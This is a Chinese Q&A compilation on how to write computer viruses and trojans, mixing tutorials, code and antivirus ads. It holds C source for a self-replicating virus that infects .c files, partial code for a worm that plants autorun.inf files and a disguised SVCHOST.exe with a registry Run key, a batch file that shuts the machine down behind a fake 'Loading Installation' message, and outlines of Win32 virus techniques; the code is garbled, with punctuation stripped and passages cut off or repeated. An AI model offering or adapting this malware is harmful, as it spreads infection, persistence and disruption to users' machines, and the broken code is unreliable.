问题二:如何写一个简单的病毒程序? 前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了。但是我现在学了入门才发现这门技术实际上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无法达到“牛”的境界上去。如今写了这篇文章,介绍的都是相当实用的东西,可以让你少走许多弯路(有时侯一个错误够你找几个小时的)。不过需要些基础知识才能看懂。假如你有天知识储备够了,不学学病毒将是你的遗憾。另,由于是写给协会会员参考的,也没写的多“专业”,多了些赘述。
在你看之前,你应该知道这只是篇可以带你入门的文章,如果你已经会了就不用看了。看的时候最好准备个PE表在旁边。写病毒程序可以使用很多种语言来写比如C,汇编,甚至有人用Dephi这样可视化编程工具都能写出来。但是最适合写病毒程序的还是汇编语言。汇编语言底层,灵活,速度快,体积小的优势能将一个病毒程序发挥到极至,通常一个程序写出来才几千字节就包含了所有的功能。一般一个病毒都有如下几个功能:
一 代码重定位
二 自己找到所需API地址
三 搜索文件、目录
四 感染文件
五 破坏系统或文件(随便你了)
其中一,二项功能是必要的,五项功能是可选的。而一个病毒程序感染文件的功能是它的核心,是衡量它质量的重要标准。
(一)代码的重定位
一个变量或函数其实是一个内存地址,在编译好后,程序中的指令通过变量或函数的内存地址再去存取他们,这个地址是个绝对地址。如果你将代码插入到其他任何地方,再通过原来编译时产生的地址去找他们就找不到了,因为他们已经搬家了。但是,你在写程序时考虑到这个问题,你就可以在代码最开始,放上几行代码取得程序基地址,以后变量和函数作为偏移地址,显式的加上这个基地址就能顺利找到了,这就是重定位。就象这段代码。
Call getbaseaddress
Getbaseaddress:pop ebx
Sub ebx,offset getbaseaddress
Mov eax,dword ptr [ebx+Var1]
如果你使用宏汇编语言写病毒,请尽量使用ebx做基地址指针,不要使用ebp,因为ebp在调用带参数的函数时会改变。
(二)自己取得所需的API地址
一个win32程序文件,所调用的API函数地址,是由系统填入到程序文件中描述各类数据位置的数据结构中的。而病毒作为一个残废是享受不到这个待遇的。因为你在把病毒的代码插入目标程序时没有把这些描述数据存放位置的数据结构信息也弄进去。它 *** 入到其他目标程序后就成了只有代码的残废儿童:(所以作为一个残废儿童,应当自力更生。自己搜寻自己需要的API地址。目标程序文件就包含了我们需要的东西,我们需要自己去找。目标程序文件只要还是win32程序,它的地址空间中就包含的有Kernel32.dll。如果找到了它,我们就能找到其他任何的东东。第一步,搜寻kernel32.dll的基地址。当然了,整个地址空间有4GB,可供搜索的用户进程空间也有2GB。在2GB中搜索,太吓人了。总不能在执行被感染的目标程序时,先让用户喝杯茶吧?或者斗斗地主?这里有两个技巧向大家介绍。
在程序被加载后,加载程序会调用程序的主线程的第一条指令的位置。它使用的指令是CALL,就是说,你程序还没执行,堆栈区里就有了一个返回地址了,这个返回地址指向的是加载程序,而加载程序是包含在KERNEL32.dll中的,我们顺着它向上找,就能找到kernel32.dll的基地址了。当然也不是一个字节一个字节的挨者找,而是一个页面一个页面地找。因为win3......>>
问题三:怎么用C语言写个简单病毒,给个代码过程 首先声明:
本程序是我举的一个例子
为了叫大家理解就可以了
如果大家拿去捉弄人,我不负任何责任!
希望大家要以学习为重!
对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的
我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享
不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定
用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题,
再次声明这一切全是为了编程研究!!!
病毒的特点:
病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式
病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。
从程序的角度来说,我们要做的事情有两件:
1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序,
使它具备继续复制的能力。
2,在一定条件下使其产生某种发作效果。
其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染
文件的最后,同时在被感染文件中调用这个函数
下面给出c语言的实现过程:
1,主程序调用病毒功能函数
2,病毒功能函数读取查找同目录下所有c文件;
3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;
4,重新创建一个同名文件(被感染c文件)
5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数
调用语句写入;
6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后;
这样一个简单的c语言伪病毒virus.c就完成了
运行程序后其内容变化另保存为after_virus.c
此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果
他们一运行又感染了他们保存1.c文件目录下所有c文件
对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你
完全可以写一个TSR驻留函数
其实,这个程序勉强可以叫做病毒
根本不算是真正的病毒,好了就说这么多,
代码如下:
#include
#include
void main(void)
{
virus()
}
int virus()
{
struct ffblk ffblk
FILE *in,*out,*read
char *virus=virus.c
char buf[50][80]
char *p
char *end=return
char *bracket=}
char *main=main
char *include[2]={stdio.h,dir.h}
char *int_virus=int virus()
char *buffer
int done,i,j=0,flag=0
printf(\nI have a virus. Writen by PuBin\n)
done = findfirst(*.c,&ffblk,0)
while (!done)
{
i=0
if ((in = fope......>>
问题四:病毒一般用什么语言编写的? 由于现在大多数的所谓的黑客都没有真正的技术,他们的木马都是利用别人编写的木马生成程序生成的,只要一点就好了!~~现在流行的木马有VB、E语言、pascal(注意Delphy不是一门语言,而是pascal语言的编辑器,就像C++跟VC++之间的关系)等,大量用他们编写的原因并不是他们有多好,只不过是他们简单易学!所以只要你有技术,用什么程序写不重要,条条大路通罗马!
问题五:怎样编写简单,对系统无害的病毒文件? 双击这个文件后就会关机,无毒无害。
这是代码:
@echo off
cd/
shutdown -s -t 0 -c Loading Installation,Please Wait...
那个0是打开这个文件后多少秒关机(0就是立即关机,10就是打开文件10秒后关机), 引号中的字(Loading Installation,Please Wait...)可以随意更改(只是引号里面的,别把引号给删了)。
问题六:怎样编写病毒 3.1.1病毒程序VIRUS.C
这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:
当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则
(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。
(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。
(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。
(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。
其中用到4个出错的返回值,分别是:
1:用户文件太大,不传染;
2:带病毒文件打不开,不传染;
3:带病毒文件读取不成功,不传染;
4:查找第一个匹配文件不成功。
如果返回值是0代表文件传染成功。
具体实现过程如下:
其中用到的函数和结构体用法参考3.3节。
首先导入病毒子程序要用到的三个库文件,分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。
然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。
如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。
如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。
然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。
这点是这样实现的:定义一个字符数组char include_h[]=strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,......>>
问题七:怎么用C语言编写木马.病毒等程序 嘿嘿给你个类病毒C程序源码,看下方法吧 #define SVCHOST_NUM 6
#include
#include
char *autorun={[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\mand=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\mand=SVCHOST.exe\nshellexecute=SVCHOST.exe}
char *files_autorun[10]={c:\\autorun.inf,d:\\autorun.inf,e:\\autorun.inf}
char *files_svchost[SVCHOST_NUM+1]={c:\\windows\\system\\MSMOUSE.DLL,
c:\\windows\\system\\SVCHOST.exe,c:\\windows\\SVCHOST.exe,
c:\\SVCHOST.exe,d:\\SVCHOST.exe,e:\\SVCHOST.exe,SVCHOST.exe}
char *regadd=reg add \HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\ /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f
int copy(char *infile,char *outfile)
{
FILE *input,*output
char temp
if(strcmp(infile,outfile)!=0 &&((input=fopen(infile,rb))!=NULL) &&((output=fopen
(outfile,wb))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input)
fwrite(&temp,1,1,output)
}
fclose(input)
fclose(output)
return 0
......>>
问题八:怎么编辑木马病毒程序 很高兴为您解答:
制作并且传播木马都是违法行为,况且在你制作的时候可能会有人利用这漏洞对你的电脑产生危害,到时候就得不偿失拉
建议下其他腾讯电脑管家,开启所有防护,避免有人利用病毒或是木马来危害新的电脑以及帐号的全全
1、腾讯电脑管家独有的二代反病毒引擎,防护查杀更彻底
2、腾讯电脑管家拥有全球最大的云库平台,能更好的识别诈骗、钓鱼网站
3、腾讯电脑管家独创鹰眼模式,时刻保护您的爱机不受侵害
4、腾讯电脑管家独有的安全等级,您可以时刻查看你爱机的安全状态
5、新增广告过滤功能,有效减轻广告骚扰。
祝楼主祝您工作、生活愉快!!
问题九:病毒的编写是用的什么原理? 在计算机领域中,它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。
所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具 *** 置,往往只能望“马”兴叹。
所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分 *** 作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。
从木马的发展来看,基本上可以分为两个阶段。
最初网络还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的网络和编程知识。
而后随着WINDOWS平台的日益普及,一些基于图形 *** 作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的 *** 作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。
所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言。
二、木马原理
[编辑本段]
鉴于木马的巨大危害性,我们将分原理篇,防御与反击篇,资料篇三部分来详细介绍木马,希望大家对特洛伊木马这种攻击手段有一个透彻的了解。
【一、基础知识 】
在介绍木马的原理之前有一些木马构成的基础知识我们要事先加以说明,因为下面有很多地方会提到这些内容。
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
(1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。
(2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其 *** 作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。
(3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。
用木马这种黑客工具进行网络入侵,从过程上看大致可分为六步(具体可见下图),下面我们就按这六步来详细阐述木马的攻击原理。
一.配置木马
一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方 面功能:
(1)木马伪装:木马配置程序为了在服务端尽可能的好的隐藏木马,会采用多种伪装手段,如修改图标 ,捆绑文件,定制端口,自我销毁等,我们将在“传播木马”这一节中详细介绍。
(2)信息反馈:木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址,IRC号 ,ICO号等等,具体的我们将在“信息反馈”这一节中详细介绍。
【二、传播木马】.
(1)传播方式:
木马的传播方式主要有两种:一种是通过E-MAIL,控制端将木马程序以附件的形式夹在邮件中发送出 去, 收信人只要打开附件系统就会感染木马另一种是软件下载,一些非正规的网站以提供软件下载为名义, 将木马捆绑在软件安装程序上,下载后,只要一运行这些程序,木马就会自动安装。
(2)伪装方......>>
问题十:有源代码,怎样编写病毒程序? 您好:
建议您不要编写或使用病毒程序,病毒程序会对您的电脑造成损害的,如果您曾使用过此类不安全的病毒程序的话,为了您电脑的安全,建议您使用腾讯电脑管家对您的电脑进行一下全面的杀毒吧,打开腾讯电脑管家中的杀毒功能选择闪电查杀或者全盘查杀就可以,您可以点击这里下载最新版的腾讯电脑管家:最新版腾讯电脑管家下载
腾讯电脑管家企业平台:zhidao.baidu/c/guanjia/
电脑病毒是我们大家都不陌生的,你们也肯定很好奇电脑病毒是什么编写的,下面是我为大家整理的相关的内容,希望对大家有帮助! 如何制作电脑病毒方法一:计算机病毒是编写或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。
方法/步骤
1.计算机病毒的特征是传播性,非授权性,隐藏性,潜伏性,破坏性,不可预见性,可触发性。计算机病毒根据感染方式可以分为感染可执行文件的病毒,感染引导区的病毒,感染文档文件的病毒。
2.计算机病毒根据感染方式可以分为感染可执行文件的病毒,感染引导区的病毒,感染文档文件的病毒。
3.现阶段的反病毒技术有特征码扫描,启发式扫描,虚拟机技术,主动防御技术,自免疫技术,云杀毒等等。
4.一个简单病毒的模块包含,触发模块,传播模块,表现模块。
5.学习计算机病毒,要了解硬盘结构,计算机扇区结构,计算机系统启动过程,文件系统,计算机引导过程。
6.汇编语言和C语言用的会比较多。
注意事项
一个是要理解计算机系统,文件格式。
一个是要精通编程,汇编和C。
计算机病毒的编写方法二:1.打开电脑左下角开始----所有程序----启动,右键点击启动选择属性单击左键。
2.查找下文件位置,找到启动所在文件夹。就可以进行下一步了。
3.打开启动这个文件,复制下文件路径。win7的启动文件家保存的是这个路径,XP的不是这个可以自己实验下。保存下备用
4新建一个记事本,写上如下代码保存。其中shutdown -s -t 0表示0秒后关机,代码的意思是把这个代码写到启动这个文件夹下面。
5.图中标记的代码就是刚才复制的路径,原理跟以前写过的自动关机代码差不多,只是自动关机时间调为0了。
电脑病毒的特点:计算机病毒不但本身具有破坏性,更有害的是具有传染性,一旦病毒被复制或产生变种,其速度之快令人难以预防。
传染性是病毒的基本特征。
在生物界,病毒通过传染从一个生物体扩散到另一个生物体。在适当的条件下,它可得到大量繁殖,并使被感染的生物体表现出病症甚至死亡。同样,计算机病毒也会通过各种渠道从已被感染的计算机扩散到未被感染的计算机,在某些情况下造成被感染的计算机工作失常甚至瘫痪。与生物病毒不同的是,计算机病毒是一段人为编制的计算机程序代码,这段程序代码一旦进入计算机并得以执行,它就会搜寻其他符合其传染条件的程序或存储介质,确定目标后再将自身代码插入其中,达到自我繁殖的目的。
只要一台计算机染毒,如不及时处理,那么病毒会在这台电脑上迅速扩散,计算机病毒可通过各种可能的渠道,如软盘、计算机网络去传染其他的计算机。当您在一台机器上发现了病毒时,往往曾在这台计算机上用过的软盘已感染上了病毒,而与这台机器相联网的其他计算机也许也被该病毒染上了。是否具有传染性是判别一个程序是否为计算机病毒的最重要条件。
潜伏性
有些病毒像定时炸d一样,让它什么时间发作是预先设计好的。比如黑色星期五病毒,不到预定时间一点都觉察不出来,等到条件具备的时候一下子就爆炸开来,对系统进行破坏。一个编制精巧的计算机病毒程序,进入系统之后一般不会马上发作,因此病毒可以静静地躲在磁盘或磁带里呆上几天,甚至几年,一旦时机成熟,得到运行机会,就又要四处繁殖、扩散,继续为害。潜伏性的第二种表现是指,计算机病毒的内部往往有一种触发机制,不满足触发条件时,计算机病毒除了传染外不做什么破坏。触发条件一旦得到满足,有的在屏幕上显示信息、图形或特殊标识,有的则执行破坏系统的 *** 作,如格式化磁盘、删除磁盘文件、对数据文件做加密、封锁键盘以及使系统死锁等。
隐蔽性
计算机病毒具有很强的隐蔽性,有的可以通过病毒软件检查出来,有的根本就查不出来,有的时隐时现、变化无常,这类病毒处理起来通常很困难。
破坏性
计算机中毒后,可能会导致正常的程序无法运行,把计算机内的文件删除或受到不同程度的损坏 。通常表现为:增、删、改、移。
可触发性
病毒因某个事件或数值的出现,诱使病毒实施感染或进行攻击的特性称为可触发性。为了隐蔽自己,病毒必须潜伏,少做动作。如果完全不动,一直潜伏的话,病毒既不能感染也不能进行破坏,便失去了杀伤力。病毒既要隐蔽又要维持杀伤力,它必须具有可触发性。病毒的触发机制就是用来控制感染和破坏动作的频率的。病毒具有预定的触发条件,这些条件可能是时间、日期、文件类型或某些特定数据等。病毒运行时,触发机制检查预定条件是否满足,如果满足,启动感染或破坏动作,使病毒进行感染或攻击如果不满足,使病毒继续潜伏。
3.1.1病毒程序VIRUS.C这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:
当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则
(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。
(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。
(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。
(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。
其中用到4个出错的返回值,分别是:
1:用户文件太大,不传染;
2:带病毒文件打不开,不传染;
3:带病毒文件读取不成功,不传染;
4:查找第一个匹配文件不成功。
如果返回值是0代表文件传染成功。
具体实现过程如下:
其中用到的函数和结构体用法参考3.3节。
首先导入病毒子程序要用到的三个库文件,分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。
然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。
如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。
如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。
然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。
这点是这样实现的:定义一个字符数组char include_h[]=strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,不进行插入。找出CALL VIRUSES;的插入点:如果有一行有printf、break、for、while语句其中之一,就对其后插入调用VIRUSES函数的调用语句。把病毒子程序写入文件。最后处理更改被感染的文件名。如果不进行改名,就不能进行多次传染,也就是说不能体现病毒的自我复制能力。查找一行是static char viruses_f[]=,把其中的文件名改为被感染的文件名。接着查找下一个匹配文件。
3.1.2病毒清除程序REVIURS.C
病毒的清除过程是和传染过程相逆的。传染的时候插入调用viruses函数的调用语句,在病毒清除文件里面就要删除掉这个语句。然后还要删除掉病毒子程序VIURSES_SUB和VIURSES。有一个问题不能进行还原。因为当时插入病毒子程序需要的头文件时没有记录传染前文件的头文件信息,所以不能进行还原。但是这一点不影响原文件。所以这点在病毒清除程序中没有进行处理。
由于演示的时候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一个目录下进行演示。考虑到VIRUS.C会把REVIURS.C传染和REVIRUS.C会把VIRUS.C清除两种情况。所以编写这两个程序的时候必须加入一条条件语句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。
当含有清除部分的程序被执行时。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果无此标志,继续找其它的C文件,直至全部检查一遍。若有这个标志,则
(1)查找磁盘文件,如果是有病毒的传染标志“INFECTED”则打开文件。如果没有则关闭文件并且寻找下一个TEST*.C。
(2)读取文件,首先判断是否为Viruses()如果不是则判断是否为int Viruses_sub(),如果都不是,则把读取部分放在二维数组a[500][80]中,如果只是为int Viruses_sub(),则读取文件结束。
(3)关闭文件,然后删除该文件。
(4)创建一个跟删除文件相同名字的文件。然后打开。
(5)把二维数组a[500][80]中的数据写入到新建的文件中。关闭文件,读取下一个文件。
3.2 程序流程图
3.2.1 病毒程序VIRUS.C流程图
N
N
Y Y
有
无
Y
N
3.2.2 解毒程序REVIRUS.C流程图
N
Y
无
有
Y
N
Y
N
3.3其中用到的函数和结构体的说明:
(1)结构体struct ffblk (在dir.h中)类型变量
变量ffblk用于打开文件,获取返回值。
Struct ffblk
{char ff_reserved[21]
char ff_attrib
unsigned ff_ftime
unsigned ff_fdate
long ff_fize
char ff_name[13]
}
程序中只用到ff_name来保存匹配文件名。
(2)结构体struct date(在dos.h中)变量
struct date
{int da_year /* Year-1980 */
char da_day/* Day of the month */
char da_mon /* Month (1=Jan) */
}
程序中用来获取系统当前日期。具体用法为:
void getdate (struct date *datep)
(3)查找匹配文件
findfirst()函数和findnext()函数
调用方式:整型数=findfirst(文件名,&结构变量名,属性常数组合(如0×24))
功能:检索由path和attr指定的文件,把结果返回到afer。
Findfirst返回关于第一个指定文件的信息。
Findnext继续检索。
返回值:0(检索成功),-1(没有找到指定的文件)
属性常数:
FA_NORMAL(0*00) 含意:Normal file, no attributes
FA_RDONLY (0*01) 含意:只读
FA_HIDDEN(0*02)含意:隐含文件
FA_SYSTEM(0*24)含意:系统文件
需要用到的头文件: dir.h
程序中的匹配文件属于普通文件,所以属性常数为0。
(4)读文件
函数原形:char *fgets (char *a, int n, FILE *fp)
功能:
从fp指向的文件读取一个长度为(n-1)的字符串,最后加一个’ \0’,存入始地址为a的空间。
若在读完n-1个字符之前遇到换行符或EOF,读入即结束。
返回值:返回地址a。
若遇文件结束或出错,返回NULL。
(5)在字符串中查找指定字符串的第一次出现
函数原形;
char *strstr(char *str1,char *str2)
功能:找出str2字符串在str1字符串中第一次出现的位置(不包括str2的串结束符)。
返回值:返回该位置的指针。
若找不到,返回NULL指针。
程序中用这个函数来判断字符串是否一致。
(6)改变文件位置指针
函数原形:int fseek (FILE *fp, long offset, int base)
功能:将fp所指文件的位置指针移到以base所指出的位置为基准、以offset为位移量的位置。
返回值:返回当前位置。否则,返回-1。SEEK_SET为文件开始。
由于读取文件的时候文件指针要发生变化。而重新执行一条命令的时候需要重新定位文件指针的位置,所以要用到fseek函数。程序中用这个函数定位到文件头,对文件进行重新读取。
3.4 程序清单
3.4.1病毒程序VIRUS.C程序清单如下:
/*INFECTED*/
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
viruses()
}
int viruses_sub()
{
struct ffblk ffblk
int done,i,j,k,n_line
FILE *virus_r,*virus_v
/*virus_r指向将被感染的文件,virus_v指向已带病毒的文件*/
char a[500][80],b[80],*p1,*p2/*将被传染的文件读入a[500][80]临时存放*/
static char viruses_f[]=/*文件被传染后,修改该值为自身文件名*/
int include_write
int virus_call=0
int virus_start=0
char *main_flag[]=
char *include_h[]=
char *v_flag[]=
struct date today
/*VIRUSES DISPLAY*/
getdate(&today)/*病毒显示日期信息*/
printf("Today is %d/%d/%d\n",today.da_mon,today.da_day,today.da_year)
/*AFFECT VIRUSES*/
done=findfirst("*.c",&ffblk,0)/*查找第一个匹配文件*/
while(!done)
{
if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)
{
virus_r=fopen(ffblk.ff_name,"r+w")
if(virus_r!=NULL)
{
p1=fgets(&a[0][0],80,virus_r)
if(strstr(p1,v_flag[0])==NULL)
{
n_line=0/*把文件全部读入a[500][80]*/
while(p1!=NULL)
{
n_line++
p1=fgets(&a[n_line][0],80,virus_r)
if(n_line>=500)
{
fclose(virus_r)
return(1)
}
}
fseek(virus_r,0,SEEK_SET)
virus_v=fopen(&viruses_f[0],"r")/*打开带病毒的文件*/
if(virus_v==NULL)
{
fclose(virus_r)
return(2)
}
for(i=1i<5i++) /*读带病毒文件前4行并写入将被传染的文件*/
{
p2=fgets(b,80,virus_v)
if(p2==NULL)
{
fclose(virus_r)
fclose(virus_v)
return(3)
}
fputs(b,virus_r)
}
for(j=0j<n_linej++) /*把将被传染文件的原程序写回原文件*/
{
include_write=1/*不写入病毒文件已有的包含语句*/
if(strstr(&a[j][0],"#include")!=NULL)
for(i=0i<3i++)
if(strstr(&a[j][0],include_h[i])!=NULL)
include_write=-1
if(virus_call==0) /*插入调用语句,并加上回车换行*/
for(i=0i<4i++)
if(strstr(&a[j][0],main_flag[i])!=NULL)
{
for(k=0k<80k++)
b[k]=0
strcpy(&b[0],"viruses()")
b[10]=13
b[11]=10
fputs(b,virus_r)virus_call=1
i=4
}
if(include_write==1)fputs(&a[j][0],virus_r)
}
p1=fgets(b,80,virus_v) /*把病毒子程序写入文件*/
while(p1!=NULL)
{
if(virus_start==0) /*找病毒子程序的第一条语句*/
if(strstr(p1,"int viruses_sub()")!=NULL)
virus_start=1
if(virus_start==1)
{
if(strstr(p1,"char")!=NULL)
if(strstr(p1,"viruses_f[]=")!=NULL)
{
strcpy(&b[29],ffblk.ff_name)
i=strlen(&b[0])
b[i]=34
strcpy(&b[i+1],")")
b[i+3]=13
b[i+4]=10
}
fputs(b,virus_r)
}
p1=fgets(b,80,virus_v)
}
fclose(virus_v)
fclose(virus_r)
return(0)
}
fclose(virus_r)
}
}
done=findnext(&ffblk)
}
return(4)
}
viruses()
{
int num
num=viruses_sub()
switch (num)
{
case 0 : printf("successful\n")
break
case 1: printf("the file is outof line\n")
break
case 2 : printf("the viruses file cannot open\n")
break
case 3 : printf("cannot read viruses file\n")
break
case 4: printf("cannot find file\n")
}
getch()
}
3.4.2病毒清除程序REVIURS.C清单如下:
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
struct ffblk ffblk
int done,i,j,line,k
static int n_line
FILE *virus_r,*virus_v
char a[500][80],b[80],*p
char *v_flag[]=
done=findfirst("*.c",&ffblk,0)
while(!done)
{
if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)
{
for(k=0k<500k++)
for(j=0j<80j++)
a[k][j]=0
virus_r=fopen(ffblk.ff_name,"r+w")
if(virus_r!=NULL)
{
p=fgets(&b[0],80,virus_r)
if(strstr(p,v_flag[0])!=NULL)
{
line=0
while(p!=NULL)
{
p=fgets(&b[0],80,virus_r)
if(strstr(&b[0],"int viruses_sub()")!=NULL)
break
else if(strstr(&b[0],"viruses()")==NULL)
{
k=strlen(b)
for(j=0j<kj++)
a[line][j]=b[j]
a[line][j+1]=0
line++
}
}
n_line=line
fclose(virus_r)
remove(ffblk.ff_name)/*删除文件*/
virus_r=fopen(ffblk.ff_name,"w+") /*打开将被感染的文件*/
for(i=0i<n_linei++)
{
fputs(&a[i][0],virus_r)/*把二维数组中的数据写入原文件*/
}
fclose(virus_r)
}
}
}
done=findnext(&ffblk)/*查找下一个匹配文件*/
}
}
4. 计算机病毒的演示
4.1病毒程序VIRUS.C的演示过程
在一张已经格式化的软盘上,除了病毒源程序VIRUS.C和REVIRUS.C外,还有两个尚未被感染的C语言程序TEST1.C和TEST2.C。原始代码分别如下:
TEST1.C:
#include "stdio.h"
main()
{
int i,sum
for(i=1i<100i++)
sum=sum+i
